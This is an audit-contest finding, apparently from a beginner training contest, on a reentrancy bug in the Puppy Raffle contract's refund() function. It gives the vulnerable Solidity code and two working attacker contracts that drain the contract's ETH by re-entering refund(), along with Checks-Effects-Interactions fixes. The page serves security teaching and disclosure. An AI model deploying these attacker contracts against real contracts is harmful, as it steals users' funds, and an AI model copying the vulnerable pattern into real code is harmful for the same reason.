Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in refund() Allows Full Contract Drain

sergios

Reentrancy in refund() Drains All Player Funds

Description

  • Players call refund() to recover their entrance fee before the raffle ends.

  • sendValue() sends ETH to the caller before players[playerIndex] is set to address(0). A malicious contract re-enters refund() inside its receive() function
    before the slot is cleared, draining the full contract balance.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
// @> ETH sent before state is updated — reentrancy possible here
payable(msg.sender).sendValue(entranceFee);
// @> Slot zeroed too late, attacker re-enters before this line executes
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Any player who enters with a smart contract address can trigger this with no special privileges beyond the entrance fee.

  • The attack is profitable whenever other players have funds deposited, which is true every active round.

Impact:

  • The attacker drains the entire contract ETH balance, stealing funds from all honest players.

  • The protocol becomes insolvent — prize pool and fees cannot be distributed.

Proof of Concept

The attack works in three steps: (1) the attacker enters the raffle with a malicious contract, (2) calls refund(), and (3) re-enters refund() from the receive()
callback on every incoming ETH transfer before the slot is zeroed. Because the players[idx] check still passes on each re-entry, the withdrawal repeats until
the contract is empty.

An attacker contract re-enters refund() in its receive() callback before the player slot is zeroed:
contract Attacker {
PuppyRaffle raffle;
uint256 idx;
constructor(PuppyRaffle _r) { raffle = _r; }
function attack() external payable {
address[] memory me = new address[](1);
me[0] = address(this);
raffle.enterRaffle{value: msg.value}(me);
idx = raffle.getActivePlayerIndex(address(this));
raffle.refund(idx);
}
receive() external payable {
if (address(raffle).balance >= msg.value) raffle.refund(idx);
}
}

Recommended Mitigation:

The fix applies the Checks-Effects-Interactions pattern: state must be updated before any external call so that re-entry finds a zeroed slot and reverts on the
address(0) check, breaking the loop. Move both state writes above sendValue():

Move state updates before the ETH transfer to follow Checks-Effects-Interactions:
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!